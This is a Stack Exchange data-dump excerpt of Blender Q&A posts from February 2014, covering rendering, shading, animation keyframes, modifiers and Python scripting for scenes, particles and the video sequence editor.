  <row Id="7117" PostTypeId="2" ParentId="7084" CreationDate="2014-02-18T03:12:03.450" Score="4" Body="&lt;p&gt;This behavior has been changed after 2.66a. Just tried to discuss with the designer. As explained, it is one of the main ways to prepare some places to add NLA strips from pre-made actions, and got its advantages, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make them invisible, click the third toggle on the header to exclude them from displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y9iJX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-18T03:17:40.600" LastActivityDate="2014-02-18T03:17:40.600" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7118" PostTypeId="2" ParentId="7116" CreationDate="2014-02-18T03:19:32.230" Score="2" Body="&lt;p&gt;The operator doesn't expose any options you could set, but this seems to be the command it uses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'C:\\Program Files\\Blender Foundation\\Blender\\blender.exe -a -f 24 1.0 -s 1 -e 250 -j 1 C:\\tmp\\0001.png'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's even a step / frame jump parameter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line#Animation_Playback_Options&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line#Animation_Playback_Options&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't really help in your case. You need to specify every single frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -a -f 24 1.0 00_0001.png 25_0002.png 50_0003.png 75_0004.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-18T03:19:32.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7120" PostTypeId="2" ParentId="3522" CreationDate="2014-02-18T04:42:46.740" Score="4" Body="&lt;p&gt;Another way is to type/load texts in Text Editor, then &lt;strong&gt;Edit&gt;Text To 3D Object&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5AbLZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, As you see from the image, the order for arbic characters is&#xA; actually flipped. RTL editing/inputting hasn't been supported yet. You&#xA; have to type / convert all characters flipped per line before that. (There is a &lt;a href=&quot;http://www.blendernation.com/2008/05/05/using-arabic-scripts-with-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;very old solution&lt;/a&gt; for this, in case it may help some.)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="599" LastEditDate="2014-02-18T07:36:40.250" LastActivityDate="2014-02-18T07:36:40.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7121" PostTypeId="2" ParentId="7113" CreationDate="2014-02-18T06:09:18.220" Score="2" Body="&lt;p&gt;You should UV-unwrap your model. I suggest to apply a&#xA;cylinder projection from the front ortographic view.&#xA;The UV also controls the anisotrophic direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise the tangent is calculated based on the normals.&#xA;Where te interpolation of the face normals is near to z = 0&#xA;the tangent calculation gets numerically instable and I think&#xA;the tangent also gets negated there. At least it seam so, but&#xA;I am not sure how Blender calculates tangents based on normals.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-15T17:50:41.527" LastActivityDate="2014-03-15T17:50:41.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7122" PostTypeId="1" AcceptedAnswerId="7981" CreationDate="2014-02-18T06:57:18.367" Score="3" ViewCount="765" Body="&lt;p&gt;Is there any way we can change the color of the fly mode crosshair, this is the crosshair which is shown when in the new fps style fly mode (shift+f).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the crosshair is black, I want a brighter color. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adjusting many theme parts but to no effect.&#xA;Is there a particular area to change the color or is this part not theme-able?&lt;/p&gt;&#xA;" OwnerUserId="904" LastActivityDate="2014-03-23T14:28:57.347" Title="How can I change the color of fly/walk mode crosshair?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7123" PostTypeId="1" AcceptedAnswerId="7127" CreationDate="2014-02-18T08:34:51.527" Score="5" ViewCount="2689" Body="&lt;p&gt;Using Python to add a keyframe to an object seems easy (see &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_63_5/info_quickstart.html#animation&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; or &lt;a href=&quot;https://blender.stackexchange.com/a/3014/1112&quot;&gt;here&lt;/a&gt;), but how can I add a keyframe to a scene property?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a concrete example, take &lt;code&gt;bpy.context.scene.gravity&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-05-13T09:49:05.790" Title="Add keyframe to a scene property" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7124" PostTypeId="2" ParentId="7110" CreationDate="2014-02-18T08:34:57.287" Score="2" Body="&lt;p&gt;The issue you are having looks like it's related to the way quaternion rotations work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bone in the rest position would normally have values of 1,0,0,0, a W value of 0.001 will leave the bone in roughly the same place, yet a W value of 0.0 will flip the bone in the opposite direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure this only happens using quaternions when all 4 values are 0.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it would appear that your animation curves manage to travel from positive to negative values to cause the flipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy solution may be to add a pose in between to define a pose between the two extreme poses, instead of having it take the shortest path.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-18T08:34:57.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7125" PostTypeId="2" ParentId="7113" CreationDate="2014-02-18T08:56:17.353" Score="0" Body="&lt;p&gt;I would strongly suggest you use cycles for this, because there that sort of issue isn't a problem. &#xA;Afaik this error could be caused by lighting. &#xA;I forgot how the effect is called, but if you have too few light sources in &quot;old&quot; raytracing, you can end up with quads &quot;split&quot;, meaning one tri gets light only from one light source, the other only from the second lamp, and you can see a &quot;seam&quot;. Have you tried adding a hemi to your scene?&lt;/p&gt;&#xA;" OwnerUserId="2477" LastActivityDate="2014-02-18T08:56:17.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7126" PostTypeId="1" AcceptedAnswerId="7342" CreationDate="2014-02-18T09:28:43.267" Score="12" ViewCount="936" Body="&lt;p&gt;Why are stacked renders noisier than straight renders which have the same number of samples?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this technique for resuming noise based on the rate at which pixels change outlined on the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/ReducingNoise#Adaptive_Sampling_Proposal&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; (further &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?236453-Measuring-Noise-in-Cycles-Renders&quot; rel=&quot;noreferrer&quot;&gt;explained on BA&lt;/a&gt;), I have run some tests. I'm not sure I understood the entire measuring process correctly, so I hope I haven't measured anything wrong..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rendered 7 images, all with different seeds. 5 at &lt;code&gt;10&lt;/code&gt; samples, 1 at &lt;code&gt;50&lt;/code&gt; and 1 at &lt;code&gt;40&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor I combined the 10 sample renders with a series of mix nodes with mix factors of &lt;code&gt;.5&lt;/code&gt;, &lt;code&gt;.33&lt;/code&gt;, &lt;code&gt;.25&lt;/code&gt;, and &lt;code&gt;.2&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TGBxp.png&quot; rel=&quot;noreferrer&quot; title=&quot;Click for bigger image&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TGBxp.png&quot; alt=&quot;enter image description here&quot; title=&quot;Click for bigger image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an interesting side note, the combined image has fewer fireflies than the straight render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup of the &quot;Noise Detect&quot; node group is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/53YEq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I understood correctly, the brighter the pixel, the faster it changes (the more noisy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The histogram for the straight render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JzvGT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JzvGT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The histogram for the combined render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OinK7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And an overlay version. The straight render is orange (click for full size):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PzVri.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PzVri.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, except for occasional spikes (fireflies) the straight render is changing less, which means it's less noisy according to the above links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming my above tests are correct, what is the reason for this and is there a way to stack renders more efficiently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26913&quot; rel=&quot;noreferrer&quot;&gt;blendfile&lt;/a&gt;&lt;/strong&gt; used for testing.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2016-12-27T17:27:40.050" Title="Why is render stacking less efficient (noisier) than rendering normally?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7127" PostTypeId="2" ParentId="7123" CreationDate="2014-02-18T10:41:00.877" Score="10" Body="&lt;p&gt;Even though the examples linked are to keyframe an object, there is in fact no difference and the same methods apply to both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene = bpy.context.scene&#xA;scene.keyframe_insert(data_path=&quot;gravity&quot;, frame=10.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Advanced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene = bpy.context.scene&#xA;if not scene.animation_data:&#xA;    scene.animation_data_create()&#xA;if not scene.animation_data.action:&#xA;    scene.animation_data.action = bpy.data.actions.new(&quot;GravityAction&quot;)&#xA;&#xA;fcurve = None&#xA;for fcurve in scene.animation_data.action.fcurves:&#xA;    if fcurve.data_path == &quot;gravity&quot;:&#xA;        break&#xA;if not fcurve or fcurve.data_path != &quot;gravity&quot;:&#xA;    fcurve = scene.animation_data.action.fcurves.new(&quot;gravity&quot;)&#xA;keyframe = fcurve.keyframe_points.insert(frame=10.0, value=20.0)&#xA;keyframe.interpolation = &quot;LINEAR&quot;&#xA;#keyframe.handle_left&#xA;#keyframe.handle_right&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="55" LastEditDate="2014-02-19T03:33:45.250" LastActivityDate="2014-02-19T03:33:45.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7128" PostTypeId="2" ParentId="7113" CreationDate="2014-02-18T12:20:49.053" Score="6" Body="&lt;p&gt;Tangent shading for BI was introduced in 2.42. According to the &lt;a href=&quot;http://archive.blender.org/development/release-logs/blender-242/material-features/index.html&quot; rel=&quot;noreferrer&quot;&gt;feature note&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Using the 'tangent' option in the Material → Shaders panel alters the direction of shading to use the tangent vectors, giving anisotropic shading for any of Blender's diffuse and specular shaders. This is useful for creating brushed metal or wood, where the microscopic grooves in the material give highlights that follow a direction, rather than just being circular.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Currently, Blender uses a mesh's UV co-ordinates to define the direction of the shading (along the V axis). This means that models must be UV unwrapped to take advantage of tangent shading.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, an expected anisotropic result needs UV coordinates to know which direction the light should stretch. To be exact, the anisotropy will stretch the light &lt;strong&gt;vertically along the UV coordinates&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I9j5R.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the attached case, You can unwrap it from the side view with UV unwrap methods like Cylinder projection, which is usually recommended. Besides, using UV as the Coordinate type in Texture setting is the better choice as well.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-18T12:28:04.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7129" PostTypeId="1" CreationDate="2014-02-18T15:13:14.247" Score="5" ViewCount="2519" Body="&lt;p&gt;Can Blender be used to simulate the transmission of sound waves through a medium (most likely air)? What kind of additional scripting, if any, would be needed to actually render the collisions as sound?&#xA;(Has anyone ever constructed a functional acoustic musical instrument using Blender?)&lt;/p&gt;&#xA;" OwnerUserId="2175" LastActivityDate="2016-10-08T03:10:35.413" Title="Simulate sound waves (physics)?" Tags="&lt;particles&gt;&lt;physics&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7130" PostTypeId="1" AcceptedAnswerId="7134" CreationDate="2014-02-18T16:02:50.363" Score="3" ViewCount="1282" Body="&lt;p&gt;I would like to apply a custom parameter to a selection of objects with the following setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Tool&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return len(context.selected_objects) &amp;gt; 0&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        myprop = context.active_object.myprop&#xA;        row = layout.row()&#xA;        row.prop(myprop, 'subdivs')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For now it works with the &lt;code&gt;active_object&lt;/code&gt;, but how do I have to change my panel so it can pass on multiple variables to my update function?&lt;/p&gt;&#xA;" OwnerUserId="2103" LastEditorUserId="1363" LastEditDate="2014-02-18T17:24:44.427" LastActivityDate="2014-02-18T17:24:44.427" Title="How can I attribute a parameter to multiple objects?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7131" PostTypeId="2" ParentId="917" CreationDate="2014-02-18T16:18:53.760" Score="3" Body="&lt;p&gt;If you are running the KDE desktop (commonly under Linux), &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;LMB&lt;/kbd&gt; is a system combination that allows you to move the current Window. &lt;a href=&quot;https://blender.stackexchange.com/a/919/2509&quot;&gt;Aldrik's answer&lt;/a&gt; can work, but you need to first disable (or change) KDE's response to this action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this is to disable &lt;em&gt;all&lt;/em&gt; system shortcuts for Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click on the Blender title bar, and then select &lt;em&gt;More Actions&lt;/em&gt; and then &lt;em&gt;Special Application Settings...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jsbkV.jpg&quot; alt=&quot;Special Application Settings Menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then under the &lt;em&gt;Appearances &amp;amp; Fixes&lt;/em&gt; tab: check &lt;em&gt;Ignore global shortcuts&lt;/em&gt;, select the &lt;em&gt;Force&lt;/em&gt; option, and select the &lt;em&gt;Yes&lt;/em&gt; radio button. Save the settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fVTIB.jpg&quot; alt=&quot;Appearances and Fixes Tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;LMB&lt;/kbd&gt; combination will now act like the middle mouse button in Blender.&lt;/p&gt;&#xA;" OwnerUserId="2509" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2014-02-18T16:18:53.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7134" PostTypeId="2" ParentId="7130" CreationDate="2014-02-18T17:10:47.547" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.props.html&quot; rel=&quot;noreferrer&quot;&gt;bpy.props&lt;/a&gt; allows you to define your own get/set/update methods for a property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def update(self, context):&#xA;    #self ~ owner of the property&#xA;    for obj in context.selected_objects:&#xA;        #assigning a value to obj.property would cause a recursion!!!&#xA;        obj[&quot;custom_property&quot;] = self.custom_property&#xA;&#xA;bpy.types.Object.custom_property = bpy.props.IntProperty(update=update)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you change the attribute &lt;code&gt;custom_property&lt;/code&gt; for an object the change will be applied to all selected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use drivers to synchronize properties.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-18T17:18:15.370" LastActivityDate="2014-02-18T17:18:15.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7135" PostTypeId="1" AcceptedAnswerId="7136" CreationDate="2014-02-18T17:24:43.603" Score="7" ViewCount="4096" Body="&lt;p&gt;I want to create a simple road. To do this I first want to apply an 'Array Modifier' which fits the curve. So in the Array modifier I changed the 'Fit Type' from 'Fixed Count' to 'Fit Curve'. But now the Path is much shorter than the road it self.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And If I extrude the curve the road goes even longer and longer.&#xA;Is there a way the road is as long as the path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WqsmP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2020-04-30T06:39:09.487" Title="Array Modifier - Fit Curve too short" Tags="&lt;bezier-curves&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7136" PostTypeId="2" ParentId="7135" CreationDate="2014-02-18T17:34:57.243" Score="14" Body="&lt;p&gt;I think the problem is that the objects have a different scale. Select both the curve and the path and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and apply the scale. As the &lt;em&gt;Apply Scale&lt;/em&gt; will change the curve vertices radius, bring them back to 1 in the 3D View &lt;em&gt;N&lt;/em&gt; panel.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="34531" LastEditDate="2020-04-30T06:39:09.487" LastActivityDate="2020-04-30T06:39:09.487" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7137" PostTypeId="1" CreationDate="2014-02-18T17:39:02.340" Score="3" ViewCount="979" Body="&lt;p&gt;I want to create a short animation from a series of png image files rendered in another animation program with VSE. I add the effect strip &lt;em&gt;Alpha Under&lt;/em&gt; with several transparent overlays PNG files that contain title information, watermark and logo to achieve the desired look. This structure works well and gives the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to repeat this process for a twenty different animations. The number of images imported is always the same, and they are always the same x and y dimension, just different in appearance with unique titles overlays. I would like to use Python to update the data/files paths for all of the assets used as inputs to the VSE, and update the animation output directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty new to Python, but have coded in C++ in the distant past. I am unsure how to programatically select a track in the VSE and &lt;code&gt;bpy.ops.sequencer.change_path()&lt;/code&gt; and &lt;code&gt;bpy.ops.sequencer.reload()&lt;/code&gt; to update the VSE structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9Yqf.png&quot; alt=&quot;VSE tracks&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2511" LastEditorUserId="1363" LastEditDate="2014-02-18T18:16:12.417" LastActivityDate="2014-07-12T01:51:45.983" Title="Video Sequence Editor: change all data/files paths with python" Tags="&lt;python&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7138" PostTypeId="2" ParentId="7135" CreationDate="2014-02-18T17:48:46.687" Score="2" Body="&lt;p&gt;You can achieve this using a plane with default values a bezier-curve with default values with these modifier settings on the plane object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1SMY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-18T17:48:46.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7139" PostTypeId="1" AcceptedAnswerId="7149" CreationDate="2014-02-18T20:31:57.440" Score="2" ViewCount="789" Body="&lt;p&gt;I am new in Blender and I would like to know what is best workflow for creating output to many files and compose in AfterFX or in Blender Composer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can render from Blender finished composed frames, but it is not ideal, because if you want change color correction or DOF you have to rerender whole frame :( So much better is render it to PNG, EXR ... and compose later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered that best option is don't use Compose node, but only File Output. But there is some hidden compose node, which save my render together with File Output, so I have to delete this files (I named it null). I can rerender only some layers and let others unaffected. But maybe there is better workflow ... thanks for tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LcX4L.png&quot; alt=&quot;My workflow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also reported this behaviour and Sergey added this to TODO list: &lt;a href=&quot;https://developer.blender.org/T38605&quot; rel=&quot;nofollow noreferrer&quot;&gt;Report&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my english :)&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="1910" LastEditDate="2015-10-14T08:45:34.020" LastActivityDate="2015-10-14T08:45:34.020" Title="Blender writes render even when there is no composite node?" Tags="&lt;rendering&gt;&lt;workflow&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7141" PostTypeId="2" ParentId="1666" CreationDate="2014-02-18T21:21:09.830" Score="0" Body="&lt;p&gt;Sepero has written a &lt;a href=&quot;https://github.com/Sepero/temp-throttle/&quot; rel=&quot;nofollow&quot;&gt;temp-throttle&lt;/a&gt; script to automatically check the temperature and throttle the CPU whenever it exceeds some threshold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, clone the repository and run in the background:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./temp-throttle/temp_throttle.sh 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where &lt;code&gt;80&lt;/code&gt; is your desired maximum temperature). Once started, the script is completely automatic (it also un-throttles if the temperature falls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this works by lowering the maximum CPU frequency, which will slow down all applications. If you need it to only throttle Blender, you could probably modify the script to call &lt;a href=&quot;https://apps.ubuntu.com/cat/applications/saucy/cpulimit/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;cpulimit&lt;/code&gt;&lt;/a&gt; on the Blender process (which will alternately send SIGSTOP and SIGCONT to limit its average CPU utilization).&lt;/p&gt;&#xA;" OwnerUserId="2513" LastActivityDate="2014-02-18T21:21:09.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7142" PostTypeId="2" ParentId="4956" CreationDate="2014-02-18T21:26:33.543" Score="17" Body="&lt;p&gt;I think the only way to do it is with some Python scripting. First select the object you want to show in place of the particles (dupli object) and then select the object with the particle system. Then run the following script. But be aware, it can get quite slow if you have lots of particles (for 5000 particles and Suzanne as dupli object, it took almost 4 minutes on my computer).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Set these to False if you don't want to key that property.&#xA;KEYFRAME_LOCATION = True&#xA;KEYFRAME_ROTATION = True&#xA;KEYFRAME_SCALE = True&#xA;KEYFRAME_VISIBILITY = True  # Viewport and render visibility.&#xA;&#xA;def create_objects_for_particles(ps, obj):&#xA;    # Duplicate the given object for every particle and return the duplicates.&#xA;    # Use instances instead of full copies.&#xA;    obj_list = []&#xA;    mesh = obj.data&#xA;    for i, _ in enumerate(ps.particles):&#xA;        dupli = bpy.data.objects.new(&#xA;                    name=&quot;particle.{:03d}&quot;.format(i),&#xA;                    object_data=mesh)&#xA;        bpy.context.scene.objects.link(dupli)&#xA;        obj_list.append(dupli)&#xA;    return obj_list&#xA;&#xA;def match_and_keyframe_objects(ps, obj_list, start_frame, end_frame):&#xA;    # Match and keyframe the objects to the particles for every frame in the&#xA;    # given range.&#xA;    for frame in range(start_frame, end_frame + 1):&#xA;        bpy.context.scene.frame_set(frame)&#xA;        for p, obj in zip(ps.particles, obj_list):&#xA;            match_object_to_particle(p, obj)&#xA;            keyframe_obj(obj)&#xA;&#xA;def match_object_to_particle(p, obj):&#xA;    # Match the location, rotation, scale and visibility of the object to&#xA;    # the particle.&#xA;    loc = p.location&#xA;    rot = p.rotation&#xA;    size = p.size&#xA;    if p.alive_state == 'ALIVE':&#xA;        vis = True&#xA;    else:&#xA;        vis = False&#xA;    obj.location = loc&#xA;    # Set rotation mode to quaternion to match particle rotation.&#xA;    obj.rotation_mode = 'QUATERNION'&#xA;    obj.rotation_quaternion = rot&#xA;    obj.scale = (size, size, size)&#xA;    obj.hide = not(vis)&#xA;    obj.hide_render = not(vis)&#xA;&#xA;def keyframe_obj(obj):&#xA;    # Keyframe location, rotation, scale and visibility if specified.&#xA;    if KEYFRAME_LOCATION:&#xA;        obj.keyframe_insert(&quot;location&quot;)&#xA;    if KEYFRAME_ROTATION:&#xA;        obj.keyframe_insert(&quot;rotation_quaternion&quot;)&#xA;    if KEYFRAME_SCALE:&#xA;        obj.keyframe_insert(&quot;scale&quot;)&#xA;    if KEYFRAME_VISIBILITY:&#xA;        obj.keyframe_insert(&quot;hide&quot;)&#xA;        obj.keyframe_insert(&quot;hide_render&quot;)&#xA;&#xA;def main():&#xA;    # Assume only 2 objects are selected.&#xA;    # The active object should be the one with the particle system.&#xA;    ps_obj = bpy.context.object&#xA;    obj = [obj for obj in bpy.context.selected_objects if obj != ps_obj][0]&#xA;    ps = ps_obj.particle_systems[0]  # Assume only 1 particle system is present.&#xA;    start_frame = bpy.context.scene.frame_start&#xA;    end_frame = bpy.context.scene.frame_end&#xA;    obj_list = create_objects_for_particles(ps, obj)&#xA;    match_and_keyframe_objects(ps, obj_list, start_frame, end_frame)&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="668" LastActivityDate="2014-02-18T21:26:33.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
